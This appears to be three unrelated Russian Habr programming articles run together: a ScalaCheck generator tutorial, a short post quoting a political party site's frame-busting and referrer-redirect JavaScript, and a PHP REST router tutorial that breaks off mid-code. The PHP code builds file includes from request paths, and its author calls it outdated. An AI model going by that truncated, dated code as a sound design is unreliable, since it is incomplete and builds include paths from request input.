В [вводной](https://habrahabr.ru/post/319456/) статье серии вы, надеюсь уже, успели познакомиться с генераторами. В этом туториале мы закрепим полученные знания, научимся писать собственные (в том числе рекурсивные) генераторы. Хотя он и посвящен генераторам, про свойства мы тоже не забудем. Более того, мы будем их активно использовать, демонстрируя всю мощь механизма генераторов. Рассмотрим механизм предусловий (preconditions). Возможно, более логичным было бы посвятить свойствам вторую статью серии и, возможно, это стало бы правильным решением. Однако, по моим личным наблюдениям, наибольшие трудности вызывают именно генераторы. Свойства мы рассмотрим в следующей статье.
**Структура цикла**
* [Введение](https://habrahabr.ru/post/319456/)
* [Генераторы](#)
* [Свойства](https://habrahabr.ru/post/323038/)
Генераторы
==========
Метод `forAll` из объекта `Prop` использует данные, сгенерированные произвольным образом. Это могут быть как простые типы данных, так и контейнерные (*compound*). В ScalaCheck любой генератор является наследником [Gen](http://bit.ly/2jKPK0La):
```
sealed abstract class Gen[+T] {
def apply(prms: Gen.Params): Option[T]
...
}
```
Класс является параметрическим по типу генерируемого значения. Соответственно, для строк мы будем иметь `Gen[String]`, а для пресловутых `Person` — `Gen[Person]`. Также вы можете использовать метод `arbitrary` из объекта `Arbitrary` при условии наличия в области видимости необходимых имплиситов.
Добавляем поддержку implicit'ов к нашим генераторам
---------------------------------------------------
Раз уж мы заговорили об имплиситах, давайте разберемся, как сделать `arbitrary`
для вашего типа. Для начала, нам нужен сам тип:
```
sealed trait LED
case object Red extends LED
case object Green extends LED
case object Blue extends LED
```
Теперь создадим генератор для наших диодов:
```
val ledGenerator: Gen[LED] = Gen.oneOf(Red, Green, Blue)
```
А теперь создадим `implicit` экземпляр `Arbitrary` из имеющегося у нас генератора:
```
implicit val arbitraryLed: Arbitrary[LED] = Arbitrary(ledGenerator)
Arbitrary.arbitrary[LED].sample
// Some(Green)
```
Теперь, имея светодиоды в нашей области видимости, мы можем проверить некоторые свойства:
```
val ledProp = forAll { diode: LED =>
// тестируем несчастные диоды
}
```
Для ряда примитивных типов, а так же контейнеров из стандартной библиотеки, неявные преобразования уже предопределены внутри объекта `Arbitrary`:
```
import org.scalacheck.Arbitrary.arbitrary
val arbitraryString = arbitrary[String]
val arbitraryInteger = arbitrary[Int]
```
`Gen.resultOf` может вам значительно помочь в этом деле. Эта функция принимает case-класс, для параметров конструктора которого уже определены `arbitrary` значения:
```
case class Coord(x: Double, y: Double)
// Создаем генератор при помощи resultOf.
val genCoord = Gen.resultOf(Coord)
// Помещаем его в Arbitrary.
implicit val arbitraryCoord = Arbitrary(genCoord)
// А теперь проверяем все что нам придет в голову.
val prop = Prop.forAll { coord: Coord =>
//...
}
```
Метод `sample`
--------------
К сожалению, для экземпляров класса `Gen` не определен метод `toString`, однако есть метод, который лучше и удобнее. Вам даже придется очень часто им пользоваться при написании генераторов. Это метод `Gen.sample`. Он возвращает пример сгенерированного значения внутри `Option`:
```
// ScalaCheck может возвращать очень длинные строки, поэтому отрежем
// первые 10 символов.
Arbitrary.arbitrary[String].sample map (_ take 10)
// А вот и конечный результат.
// Some(Ｑ冋执龭轙⮻拍箘㖕)
Arbitrary.arbitrary[Double].sample
// Some(-5.180668081211655E245)
```
Трансформации
-------------
Как уже было рассказано в предыдущей части, к генераторам так же можно применять метод `map`. Проиллюстрируем это следующим примером:
```
val octDigitStr = choose(0, 7) map (_.toString)
octDigitStr.sample
// Some(3)
octDigitStr.sample
// Some(5)
```
Фильтрация
----------
Для генераторов также существует метод `filter`, хотя, на самом деле, это лишь псевдоним для вызова метода `suchThat`:
```
val evenOct = octDigit.filter(_ % 2 == 0)
evenOct.sample
// None
// Не повезло, попробуем еще раз:
evenOct.sample
// None
// Вот досада, а может быть сейчас?
evenOct.sample
// Some(2)
```
Пример выше демонстрирует, почему пользоваться `filter` или `suchThat` не стоит. Новый генератор просто отвергает значения, которые не проходят фильтр. Это сильно замедляет процесс тестирования.
> Предусловия действуют аналогично фильтрам.
Предусловия
-----------
Представляемые в логике операцией импликации предусловия в ScalaCheck — это методы, используемые внутри свойств. Они позволяют ограничить входные данные. Записываются оператором `==>`. Для того, чтобы воспользоваться предусловиями, вам необходимо добавить в область видимости `Prop.propBoolean`. Итак, давайте проверим утверждение о том, что для любого четного числа последняя цифра также будет являться четным числом:
```
import org.scalacheck.Prop.{forAll, propBoolean}
def isEven(number: Int) = number % 2 == 0
// Получаем последнюю цифру числа.
def lastChar(number: Int) =
number.toString.last.toInt
// Фильтрация.
val p2 = forAll(arbitrary[Int] suchThat isEven) { number =>
isEven(lastChar(number))
}
// Использование предусловия.
val p1 = forAll(arbitrary[Int]) { number =>
isEven(number) ==> isEven(lastChar(number))
}
```
Чтобы запустить свойство, мы можем воспользоваться функцией `check`:
```
// проверим наше первое свойство
p1.check
// + OK, passed 100 tests.
// и второе
p2.check
// + OK, passed 100 tests.
```
Чем жестче фильтр, тем больше значений будет проигнорированно. Это может быть критично для малого набора значений или для значений, которые отстоят очень далеко друг отдруга. Например, простых чисел на диапазоне Int. От подобной затеи ScalaCheck легко может устать и сдаться вам в плен:
```
scala> p1.check
! Gave up after only 1 passed tests. 100 tests were discarded
```
Вы не заметите это на примере с четными числами, а на примере с простыми — легко. Также следует знать, что:
> Фильтр для четных чисел можно реализовать по-разному. Например, можно брать
>
> любое целое число и просто умножать его на 2. В случае с простыми числами
>
> намного проще будет посчитать их заранее, воспользовавшись, например,
>
> [решетом Эратосфена](http://bit.ly/2jI81b3), а затем просунуть список
>
> вычисленных значений внутрь `Gen.oneOf`, который мы рассмотрим далее в этой
>
> статье.
Если вы комбинируете генераторы, использующие `suchThat`, у вас также могут возникнуть проблемы. В таких случаях вам следует воспользоваться методом `retryUtil`. В отличии от `suchThat`, он заставляет ScalaCheck работать усерднее, что может закончиться бесконечным циклом. Вызывается `retrtyUtil` аналогично `fiter` или `suchThat`:
```
arbitrary[Int] retryUntil isEven
```
Вы также можете заметить, что методы `collect` и `flatten`, так же как и `fromOption`, объявлены `Deprecated`. Это сделано, чтобы у вас было меньше соблазна плодить пустые генераторы.
Создаем свой генератор
----------------------
Как уже было замечено ранее, вы можете создавать свои собственные генераторы, комбинируя уже существующие при помощи for comprehension:
```
val coordGen =
for { i <- arbitrary[Int]; j <- arbitrary[Int] } yield (i, j)
coordGen.sample
// Option[(Int, Int)] = Some((45,60))
coordGen.sample
// Option[(Int, Int)] = Some((29, 37))
```
Вы можете объявить генераторы для любой структуры данных. Простой случай использования ADT:
```
sealed trait LightColor
case object Red extends LightColor
case object Orange extends LightColor
case object Green extends LightColor
case object FlashingGreen extends LightColor
case object Extinct extends LightColor
val colorGen = Gen.oneOf(Red, Orange, Green, Extinct)
```
Если усложнять себе жизнь, так основательно:
```
// Если речь здесь будет идти о цвете, то только о цвете света.
type Color = LightColor
object PedestrianTrafficLight {
sealed class State(_1: Color, _2: Color)
case object Stop extends State(Red, Extinct)
case object Move extends State(Extinct, Green)
case object FinishMove extends State(Extinct, FlashingGreen)
def states: Seq[State] = Seq(Move, FinishMove, Stop)
}
object VehicularTrafficLight {
sealed class State(_1: Color, _2: Color, _3: Color)
case object Stop extends State(Red, Extinct, Extinct)
case object Ready extends State(Red, Orange, Extinct)
case object Move extends State(Extinct, Extinct, Green)
case object Warn extends State(Red, Orange, Extinct)
case object FinishMove extends State(Extinct, Extinct, FlashingGreen)
def states: Seq[State] = Seq(Stop, Ready, Move, Warn, FinishMove)
}
sealed trait TrafficLight
case class PedestrianTrafficLight(state: PedestrianTrafficLight.State)
extends TrafficLight
case class VehicularTrafficLight(state: VehicularTrafficLight.State)
extends TrafficLight
```
Объявим наши генераторы:
```
import Gen._
// Набор состояний для пешеходного светофора
val pedestrianTrafficLightStateGen =
Gen.oneOf(PedestrianTrafficLight.states)
// Набор состояний для транспортного светофора
val vehicularTrafficLightStateGen =
Gen.oneOf(VehicularTrafficLight.states)
```
А теперь сгенерируем кортеж из пешеходного и транспортного светофоров. Есть только одно но: состояния светофоров не должны быть взаимоисключающими. Для начала определимся с условием, при котором пешеход может совершить маневр. Так как мы создаем генератор путем композиции, мы используем `retryUntil` вместо `suchThat`:
```
val pedestrianCanGo = pedestrianTrafficLightStateGen.retryUntil { state =>
state != PedestrianTrafficLight.Stop
}
```
Теперь сгенерируем состояние автомобильного светофора и, отталкиваясь от него, определим допустимое состояние для пешеходного, а затем объединим их в список. Полученный нами генератор будет иметь следующий тип: `Gen[(VehicularTrafficLight.State, PedestrianTrafficLight.State)]`.
```
val states = vehicularTrafficLightStateGen flatMap {
case vehState @ VehicularTrafficLight.Stop =>
pedestrianCanGo map (pedState => (vehState, pedState))
case pedestrianCanNotGo =>
(pedestrianCanNotGo, PedestrianTrafficLight.Stop)
}
```
Теперь отобразим состояния светофоров в сами объекты:
```
val trafficLightPair = states map { case (v, p) =>
(VehicularTrafficLight(v), PedestrianTrafficLight(p))
}
```
Проверим результаты? Я получил:
```
(VehicularTrafficLight(FinishMove),PedestrianTrafficLight(Stop))
```
и
```
(VehicularTrafficLight(Move),PedestrianTrafficLight(Stop))
```
что вполне походит на правду. Может быть, где-то я и ошибся. Главным было продемонстрировать сам механизм.
> ScalaCheck также позволяет вам генерировать рекурсивные структуры данных,
>
> однако легким и тривиальным этот процесс назвать сложно. Далее в этой
>
> статье мы рассмотрим рекурсивные генераторы и проблемы, с которыми вы
>
> можете столкнуться при их использовании.
Генераторы в свойствах
----------------------
В большинстве использованных ранее примеров ScalaCheck самостоятельно подбирает подходящий экземпляр генератора и использует его для вычисления свойства. Однако, не для того мы сами писали генераторы, чтобы ScalaCheck забирал из области видимости, что попало. Помните наши «совместимые» светофоры? Давайте уже куда-нибудь их приткнем:
```
import Prop.{forAll, propBoolean}
def isRed(trafficLight: VehicularTrafficLight) =
trafficLight.state == VehicularTrafficLight.Stop
def notRed(trafficLight: PedestrianTrafficLight) =
trafficLight.state != PedestrianTrafficLight.Stop
// Генератор передается в качестве первого параметра для Prop.forAll
val canNotBothBeRed =
forAll(trafficLightPair) { case (vehicular, pedestrian) =>
isRed(vehicular) ==> notRed(pedestrian)
}
```
Проверим?
```
canNotBothBeRed.check
```
И убедимся, что все хорошо:
```
+ OK, passed 100 tests.
```
Зачастую, одного генератора бывает недостаточно, тогда вы можете использовать несколько:
```
val p = forAll(Gen.posNum[Int], Gen.negNum[Int]) { (pos, neg) =>
neg < pos
}
```
Свойства как и генераторы, можно вкладывать друг в друга, поэтому пример выше можно переписать так:
```
val p = forAll(Gen.posNum[Int]) { pos =>
forAll(Gen.negNum[Int]) { neg =>
neg < pos
}
}
```
Вместо вложенных вызовов `forAll` вы также можете собрать кортеж из генераторов, которые хотите использовать. И не вызвать `forAll` дважды.
Метки на генераторах
--------------------
Использование меток является хорошей практикой. Это позволяет улучшить отчеты об ошибках и повысить читаемость кода, использующего генераторы. Для того, чтобы добавить метку, вы можете использовать операторы `|:` и `:|`. Метка может быть как строкой, так и символом. К генератору может быть добавлено несколько меток. Для иллюстрации, возьмем предыдущий пример, *только изменим знак, сделав свойство абсурдным*:
```
// Операторы |: и :| отличаются только ассоциативностью.
val p = forAll('positive |: Gen.posNum[Int]) { pos =>
forAll(Gen.negNum[Int] :| "negative numbers") { neg =>
neg > pos
}
}
```
Согласитесь, стало лучше?
```
! Falsified after 0 passed tests.
> positive: 0
> positive_ORIGINAL: 1
> negative numbers: 0
```
Генераторы примитивов
=====================
Константы
---------
Сложно придумать что-то проще, чем `Gen.const`. Он принимает любое значение и заботливо упаковывает его в генератор. Любой объект, находящийся в удачном месте и в нужное время, будет неявным образом приведен к `Gen`. Поэтому, скорее всего, в явном виде вызывать этот метод вам не придется.
Умирашка
--------
Внутри ScalaCheck используется метод `Gen.fail`, возвращающий нежизнеспособный генератор. При попытке вызвать метод `sample` вы всегда получите `None`. Скорее всего, на вашем пути он не встретится, а если и встретится, считайте, что с ним вы знакомы:
```
Gen.fail.sample
// Option[Nothing] = None
```
Числа
-----
Вы можете использовать `Gen.posNum` и `Gen.negNum` для генерации положительных и отрицательных чисел соответственно:
```
import org.scalacheck.Gen
import org.scalacheck.Prop.forAll
val negative = Gen.negNum[Int]
val positive = Gen.posNum[Int]
val propCube = forAll (negative) { x =>
x * x * x < 0
}
```
Интересным функционалом обладает `Gen.chooseNum`: этот генератор порождает числа в заданном диапазоне (включительно), с бо́льшим весом для нуля (если он входит в заданный диапазон), минимального и максимального значения, а так же для представленного списка значений:
```
// Значения specials являются vararg.
Gen.chooseNum(minT = 2, maxT = 10, specials = 9, 5)
```
`Gen.choose` можно использовать для генерации числовых значений в рамках заданного диапазона. Более того, это тот редкий тип генератора, который никогда не проваливается. Его также можно использовать применительно к символам. Кстати, о символьных генераторах...
Символы
-------
Символьных генераторов в ScalaCheck существует великое множество. Вам предлагается выбрать из следующих:
* `Gen.alphaUpperChar`
* `Gen.alphaLowerChar`
* `Gen.alphaChar`
* `Gen.numChar`
* `Gen.alphaNumChar`
Теперь попробуем сгенерировать координаты для игры в «Морской бой»:
```
val coord = for {
letter: Char <- Gen.alphaUpperChar
number: Char <- Gen.numChar
} yield s"$letter$number"
coord.sample
// Some(L1)
```
Благодаря for comprehension, вы можете генерировать любые агрегаты: списки, кортежи, строки. Кстати о строках...
Строки
------
Их вы также можете легко порождать. `Gen.alphaStr` генерирует строки только из алфавитных символов. `Gen.numStr` генерирует числовые строки. Существует возможность отдельно генерировать строки из символов разного регистра: `Gen.alphaLowerStr` и `Gen.alphaUpperStr` как раз предназначены для этих целей. `Gen.idenifier` дает вам непустую строку, которая всегда начинается с алфавитного символа в нижнем регистре, за которым следуют алфавитно-числовые символы. Для некоторых грамматик это вполне себе идентификатор.
```
import org.scalacheck.Gen
val stringsGen = for {
key <- Gen.identifier
value <- Gen.numStr
} yield Bucket(key take 8, value take 2)
stringsGen.sample
// Some(Bucket(kinioQqg,60))
```
Функции
-------
В Scalacheck можно генерировать и функции (экземпляры `Function0`: `() => T`). Для этого нужно передать генератор, отвечающий за возвращаемое значение в `Gen.function0`:
```
val f = Gen.function0(Arbitrary.arbitrary[Int]).sample
// Метод tostring любит функции, однако лямбду мы можем лицезреть как-то так:
// some(org.scalacheck.gen$$$lambda$40/1418621776@4f7d0008)
```
Генераторы контейнеров
======================
Вы можете генерировать экземпляры стандартных коллекций, используя `arbitrary`:
```
import Arbitrary.arbitrary
val listgen = arbitrary[List[Int]]
val optgen = arbitrary[Option[Int]]
```
Но этого, зачастую, бывает недостаточно, поэтому ScalaCheck предоставляет расширенные инструменты для работы с коллекциями, а также их генерации. Далее мы будем опускать `Option`-ы, которые возвращает метод `sample`, и будем показывать вам значения сразу, чтобы не в водить в лишнее заблуждение.
### Генерируем Option
Если вы используете `Gen.some`, то «доход» вам гарантирован:
```
// Тот редкий и счастливый случай:
Gen.some("денежка")
// Some(денежка)
```
Хуже, когда у денежки появляются дополнительные степени свободы:
```
// Потерялась.
Gen.option("денежка")
// None
```
### Генерируем списки и словари
`Gen.listOf` порождает списки произвольных длин, а `Gen.listOfN` порождает списки заданной длины.
```
// Константа 3 будет неявно приведена к Gen[Int].
Gen.listOf(3) map (_ take 5)
// List(3, 3, 3, 3, 3)
// Для получения пятиэлементного списка.
Gen.listOfN(5, Gen.posNum[Double]) map (_ take 5)
```
Генератор `Gen.listOf` может вернуть пустой список. Если вам гарантированно нужен непустой список, вы можете воспользоваться `Gen.nonEmptyListOf`. Для генерации словарей, или отображений (`Map`), существуют аналогичные методы: `Gen.mapOf`, `Gen.mapOfN`, а также `Gen.nonEmptyMapOf`. В отличие от методов для списка, генераторы для словарей требуют, чтобы им передали генератор двухэлементного кортежа:
```
import Arbitrary._
val tupleGen = for {
i <- arbitrary[Short]
j <- arbitrary[Short]
} yield (i, j)
Gen.mapOfN(3, tupleGen) map (_ take 3)
// Map(10410 -> -7991, -19269 -> -18509, 0 -> -18730)
```
Порождаем список элементов заданного множества
----------------------------------------------
`Gen.someOf` вернет вам `ArrayBuffer` из некоторого набора элементов, входящих в заданное вами множество, например:
```
import org.scalacheck.Gen.someOf
val numbers = someOf(List(1, 2, 3, 4, 5)).sample
// Some(ArrayBuffer(5, 4, 3))
val leds = someOf(List(Red, Green, Blue)).sample
// Some(ArrayBuffer(Blue, Green))
```
`Gen.pick` работает аналогично `Gen.someOf`. Отличие лишь в том, что `Gen.pick` позволяет вам указать необходимое количество элементов:
```
import org.scalacheck.Gen.pick
val lettersGen =
Gen.pick(2, List('a', 'e', 'i', 'o', 't', 'n', 'm')).sample
// Some(ArrayBuffer(m, n))
```
### Порождаем последовательность
`Gen.sequence` создает `ArrayList` на основе принятой последовательности значений. Если хотя бы один из предоставленных генераторов упадет — вся последовательность упадет.
```
import Gen.{const, choose}
val ArrayListGen =
Gen.sequence(List(const('a'), const('b'), choose('c', 'd')))
// [a, b, d]
```
### Генерируем бесконечный поток
ScalaCheck поддерживает возможность генерации бесконечных потоков:
```
val stream = Gen.infiniteStream(Gen.choose(0,1))
// возьмем первые 8 элементов
stream.sample map (stream => stream.take(8).toList)
// Some(List(1, 0, 0, 0, 1, 1, 1, 0))
```
Генератор контейнеров
---------------------
Перечисленные выше методы для словарей и списков, на самом деле, являются частными случаями использования `Gen.containerOf` и его сотоварищей: `containerOfN` и nonEmptyContainerOf`. Это наиболее обобщенная форма, которая позволяет сгенерировать большинство известных нам коллекций. Давайте рассмотрим следующие примеры:
```
import Arbitrary._
// Создадим коллекцию «коротких» целых чисел из трех элементов.
val prettyShortSeq =
Gen.containerOfN[Seq, Short](3, arbitrary[Short])
// Vector(0, -24114, 32767)
// Задача посложнее: соорудим мапу.
val genNonEmptyList =
Gen.nonEmptyContainerOf[Map[K, V], (K, V)] (oneOf("foo", "bar"))
```
Генераторы, созданные с помощью `containerOf`, абстрагируются над типами, но не над [родами](https://en.wikipedia.org/wiki/Kind_(type_theory)) (kinds). Давайте посмотрим на сигнатуру метода `containerOf`:
```
def containerOf[C[_],T](g: Gen[T])(implicit
evb: Buildable[T,C[T]], evt: C[T] => Traversable[T]
): Gen[C[T]] =
```
и на его реализацию:
```
buildableOf[C[T],T](g)
```
Так что, если вам нужно сгенерировать список или что-то, что может быть представленно как `* ⟶ *`, то `containerOf` будет вам полезен. А если вам нужно сгенерировать что-то вроде `* ⟶ * ⟶ *` (например `Map`), придется использовать еще более абстрактный метод, который мы можем подсмотреть в реализации `mapOf`:
```
def mapOf[T,U](g: => Gen[(T,U)]) = buildableOf[Map[T,U],(T,U)](g)
```
Аналогично методам `container`, существуют методы `buildableOf`, `buildableOfN` и `nonEmptyBuildableOf`. Обычно Scalacheck сам решает, как построить переданную ему в качестве типа коллекцию. Для этого он использует неявный экземпляр типа `org.scalacheck.util.Buildable`. Такие экземпляры объявлены в ScalaCheck для всех стандартных типов коллекций. Достаточно легко реализовать свою коллекцию и получить поддержку `containerOf`, так же, как и экземпляры `Arbitrary`.
Генераторы высшего порядка
--------------------------
Я думаю вам, уважаемый читатель, известно, что представляют из себя [функции высшего порядка](https://en.wikipedia.org/wiki/Higher-order_function). Генераторам тоже свойственно подобное поведение: генератор может принимать другие генераторы в качестве аргументов, порождая этим другие генераторы. Рассматриваемые нами ранее генераторы контейнеров, за редким исключением, также являются генераторами высшего порядка.
Один из множества
-----------------
`Gen.oneOf` способен принимать от двух до `N` генераторов, тем самым порождая новый генератор.
```
import Gen.{oneOf, const, choose}
// В данном случае мы получаем Gen[T]
val dogies = oneOf("Lucy", "Max", "Daisy", "Barney")
// А здесь мы передаем генераторы явным образом
val windows = oneOf(choose(1, 8), const(10))
```
В `oneOf` можно передать любой наследник `scala.collection.Seq`, например, список.
Частотный генератор
-------------------
`Gen.frequency` принимает на вход список кортежей. Каждый из которых состоит из генератора и его вероятностного веса. На выходе получается новый генератор, который будет использовать переданные ему целочисленные значения как вероятностные веса:
```
val russianLettersInText = Gen.frequency (
(9, 'о'),
(9, 'а'),
(8, 'е'),
(7, 'и'),
(6, 'н')
//.. оставшиеся буквы
)
```
Ленивый генератор
-----------------
Использование `Gen.lzy` позволит отложить генерацию до момента, пока она действительно не потребуется. Он очень удобен в композитных генераторах, а также при генерации рекурсивных структур данных, например AST. В случае использования `Gen.lzy`, вычисления производятся один раз. `Gen.delay` также откладывает вычисления, однако, выполняться они будут каждый раз.
Размер генераторов
==================
`Gen.size` принимает своим единственным параметром лямбду, которая, принимает своим параметром целое число. Это число является размером, который ScalaCheck указывает во время выполнения генератора. `Gen.resize` позволяет установить размер для генератора там, где это необходимо. Проиллюстрируем это следующим примером:
```
def genNonEmptySeq[T](genElem: Gen[T]): Gen[Seq[T]] = Gen.sized { size =>
for {
listSize <- Gen.choose(1, size)
list <- Gen.containerOfN[Seq, T](listSize, genElem)
} yield list
}
val intVector = genNonEmptySeq(Arbitrary.arbitrary[Int])
val p = Prop.forAll(Gen.resize(5, intVector)) { list =>
list.length <= 5
}
```
Проверим:
```
p.check
// + OK, passed 100 tests.
```
`Gen.resize` создает новый генератор на базе существующего, но с измененным размером. Это полезно при создании рекурсивных генераторов, а так же при создании сложных генераторов из простых при помощи композиции.
Рекурсивные генераторы
======================
Мне достаточно часто приходится работать с рекурсивными структурами данных, а именно AST. Рекурсивные генераторы вызывают экземпляры *себя* внутри собственного контекста. Вызывать себя они могут как явно, так неявно, например, прибегая к помощи других генераторов. В качестве примера давайте рассмотрим двоичное дерево с целочисленными вершинами:
```
trait IntTree
case class Leaf (value: Int) extends IntTree
case class Node (children: Seq[IntTree]) extends IntTree
```
Напишем генераторы для нашего дерева:
```
import org.scalacheck.Gen._
def treeGen: Gen[IntTree] =
oneOf(leafGen, nodeGen)
def leafGen: Gen[Leaf] =
arbitrary[Int] map (value => Leaf(value))
def nodeGen: Gen[Node] =
listOf(treeGen) map (children => Node(children))
```
и убедимся что они рекурсивные:
```
treeGen.sample
Exception in thread "main" java.lang.StackOverflowError
at org.scalacheck.ArbitraryLowPriority$$anon$1.arbitrary(Arbitrary.scala:70)
at org.scalacheck.ArbitraryLowPriority.arbitrary(Arbitrary.scala:74)
at org.scalacheck.ArbitraryLowPriority.arbitrary$(Arbitrary.scala:74)
at org.scalacheck.Arbitrary$.arbitrary(Arbitrary.scala:61)
```
Внутри `treeGen` мы одновременно запускаем генераторы для обоих веток. Это приводит к быстрому заполнению стека. Давайте попробуем сделать наше дерево ленивым. Для этого перепишем `treeGen` так:
```
def treeGen: Gen[IntTree] =
lzy(oneOf(leafGen, nodeGen))
```
Запустим:
```
treeGen.sample
// Some(Leaf(857998833))
// Some(Leaf(2147483647))
// Some(Leaf(489549235))
```
```
Exception in thread "main" java.lang.StackOverflowError
at org.scalacheck.rng.Seed.next(Seed.scala:17)
at org.scalacheck.rng.Seed.long(Seed.scala:39)
at org.scalacheck.Gen$Choose$.org$scalacheck$Gen$Choose$$chLng(Gen.scala:309)
at org.scalacheck.Gen$Choose$$anon$5.$anonfun$choose$1(Gen.scala:358)
at org.scalacheck.Gen$$anon$3.doApply(Gen.scala:254)
at org.scalacheck.Gen.$anonfun$map$1(Gen.scala:75)
at org.scalacheck.Gen$$anon$3.doApply(Gen.scala:254)
at org.scalacheck.Gen.$anonfun$flatMap$2(Gen.scala:80)
at org.scalacheck.Gen$R.flatMap(Gen.scala:242)
at org.scalacheck.Gen$R.flatMap$(Gen.scala:239)
```
Мы не генерируем несколько нод сразу, но если генерируем, то с бесконечной вложенностью. Эту вложенность нам следует сделать конечной. Использование `Gen.sized` и `Gen.resize` в тандеме сможет нам помочь:
```
def nodeGen: Gen[Node] = sized { size =>
choose(0, size) flatMap { currSize =>
val nGen = resize(size / (currSize + 1), treeGen)
listOfN(currSize, nGen) map (child => Node(child))
}
}
```
В этой строчке:
```
val nGen = resize(size / (currSize + 1), treeGen)
```
мы создаем новый генератор меньшего размера: размер будет уменьшается пропорционально уровню вложенности. Для определенного N будет создан пустой генератор размера 0, и мы не получим переполнения стека. Размер генератора следует уменьшать каждый раз, так как генератор не знает, на каком уровне вложенности он находится.
Вот мы и разобрались с рекурсивными генераторами. [Пример](https://etorreborre.blogspot.ru/2011/02/scalacheck-generator-for-json.html) генерации AST для JSON вы можете найти в блоге Eric Torreborre (создателя specs2).
На этом мы закончим наше знакомство с генераторами и перейдем к свойствам. Подробнее о них будет рассказано в следующей статье серии. До встречи! | https://habr.com/ru/post/320104/ | null | ru | null |
# Скрытый редирект на ER.RU
Во время тестирования [Brief.ly](http://habrahabr.ru/blogs/startup/120140/) [API](http://habrahabr.ru/blogs/wordpress/123750/) открылся маленький казус на сайте Единой России.
Если попытаться [вставить сайт ER.RU в iframe](http://brief.ly/links2tabs/?toc=off&selected=1&iframe_compatibility_check=off&url1=er.ru&caption1=ER.RU&url2=president.ru&caption2=President.RU) — то Java Script перебросить Вас на сайт «[76-82. Энциклопедия нашего детства](http://76-82.ru)».
Виноват во всём вот этот HTML код единоросов:
> `"text/javascript"</font>><br/> <font color="#0000ff">var</font> redirect\_to=<font color="#A31515">'http://76-82.ru/'</font>;<br/> <font color="#0000ff">if</font>( window != top){<br/> top.location.replace(redirect\_to);<br/> }<br/> <font color="#0000ff">var</font> bad\_ref\_array=[<font color="#A31515">"http://\u043f\u0430\u0440\u0442\u0438\u044f-\u0436\u0443\u043b\u0438\u043a\u043e\u0432-\u0438-\u0432\u043e\u0440\u043e\u0432.\u0440\u0444/"</font>];<br/> <font color="#0000ff">var</font> pos=<font color="#A31515"> 0</font>;<br/> <font color="#0000ff">for</font> (<font color="#0000ff">var</font> i=<font color="#A31515"> 0</font>;i<bad\_ref\_array.length; i++){<br/> pos=document.referrer.indexOf(bad\_ref\_array[i]);<br/> <font color="#0000ff">if</font>(pos>-<font color="#A31515">1</font>){<br/> window.location.replace(redirect\_to);<br/> }<br/> }<br/>`
Интересно для чего предназначается эта переадресация? После этой публикации, правда, думаю до утра эту ошибку исправлять.
P.S. [2011-12-23] прошла неделя, — а редирект на месте. | https://habr.com/ru/post/134636/ | null | ru | null |
# RestAPI для веб-приложения на PHP или познаем дзен в чистоте
В нынешней разработке все стремятся к чистоте. Чистый код и прозрачный для любого Джуниора паттерн – безусловно залог успешного долгоиграющего проекта, который еще не скоро соберутся переписывать.
В данной статье расскажу, как в течении нескольких лет я пришел к, в моем видении, идеальному решению для реализации Restfull API сервиса на PHP. Конечно, я в курсе, что существует бесчисленное множество фреймворков, которые позволяют за пару минут развернуть своё API. Но, меня всегда одолевали сомнения на их счет. Лично я – никогда не любил использовать чужой код. Сначала: из-за того, что не было уверенности 100% понимания всех происходящих процессов. Позднее: из за сомнений в том, что данный фреймворк – лучшее, что может быть написано для моего проекта.
Если Вы – ярый сторонник фреймворков и не понимаете мой выбор: нашел [статью](https://habrahabr.ru/post/141477/) на хабре затрагивающую эту тему.
Итак, если Вы еще не определились какой подход использовать в реализации RestAPI для Вашего сервиса или просто хотите сравнить свой подход с моим – давайте смотреть код!
**Перед тем как брать подход к себе на вооружение учтите: код был применен еще в далеком 12 году и написан по старым канонам. Содержит в себе массу шероховатостей. Ни в коем случае не стоит переносить содержимое классов в свои проекты. Польза приведенного ниже кода — максимум показать идею!**
> После освоения принципов переданных в статье обязательно посмотрите ссылки ниже:
>
> [www.php-fig.org/psr/psr-2](http://www.php-fig.org/psr/psr-2/)
>
> [getcomposer.org](https://getcomposer.org/)
Также, по поводу вложенности условий, ценный совет дал комментатор [alekciy](https://habr.com/ru/users/alekciy/) [habrahabr.ru/post/280121/#comment\_8821069](https://habrahabr.ru/post/280121/#comment_8821069)
**Безусловно, перед началом Вам стоит настроить Ваш веб-сервер, что-бы все запросы летели в index.php, если Вы не знаете, как это сделать – под спойлером привожу пример настроек для Nginx.**
location ~ \.php$ {
fastcgi\_pass 127.0.0.1:9000;
fastcgi\_index index.php;
fastcgi\_param SCRIPT\_FILENAME $document\_root$fastcgi\_script\_name;
include fastcgi\_params;
}
location /css/ {}
location / {
rewrite ^ /index.php last;
}
**Начнем, конечно, с index.php:**
*В котором, как ни странно для MVC паттерна, практически ничего нет.*
Для вызова API нам потребуется всего несколько строк:
```
$action = explode('/', $_SERVER['REQUEST_URI']);
if(!isset($action[1]))
$page = NULL;
else
$page = $action[1];
if($page == 'api') {
include_once 'api/main/api.class.php';
new api;
} else {
//тут можете подгрузить свой клиентский код заинклюдив, например, index.html
}
```
Таким образом, теперь, любые обращения на URL **[sitename.com/api/что\_то\_там\_еще](http://sitename.com/api/%D1%87%D1%82%D0%BE_%D1%82%D0%BE_%D1%82%D0%B0%D0%BC_%D0%B5%D1%89%D0%B5)** будут способствовать только вызову класса API и ничего лишнего.
Далее, для понимания всей картины, давайте окинем взглядом архитектуру будущего приложения:
Скриншот иерархии предоставлен прямо с боевого проекта, а в статье мы затронем лишь папку api и файл index.php.
#### Файлы api по порядку:
**api.class.php**
У нас перед глазами основной файл, в котором кроется вся суть моего подхода: базовый класс играет роль роутера – он будет определять обращение к конкретному методу API, подготавливать все данные и осуществлять вызов названного метода.
```
include_once 'model.class.php';
include_once 'view.class.php';
include_once 'factory.class.php';
class api {
private $db;
private $view;
private $factory;
private $args = array();
private $userID;
function __construct() {
$this->db = new db();
$this->view = new view();
$this->factory = new factory();
$url = parse_url($_SERVER['REQUEST_URI']);
$action = explode('/', $url['path']);
$action = end($action);
if (!empty($action)) {
if (!empty($_POST) || (substr($action, 0, 4) == 'get_')) {
if (file_exists('api/methods/' . $action . '/controller.php')) {
if (file_exists('api/methods/' . $action . '/parameters.inc.php')) {
$parameters = array();
$missing_parameters = array();
$wrong_types = array();
include_once('api/methods/' . $action . '/parameters.inc.php');
foreach ($parameters as $param => $value ) {
if (!empty($_POST[$param])) {
if(factory::check_parameter_type($_POST[$param], $value[1]))
$this->args[$param] = factory::sanitize(factory::set_parameter_type($_POST[$param], $value[1])); //sanitize arguments from request body and assign argument
else
$wrong_types[] = $param;
} elseif ($value[0] == 1)
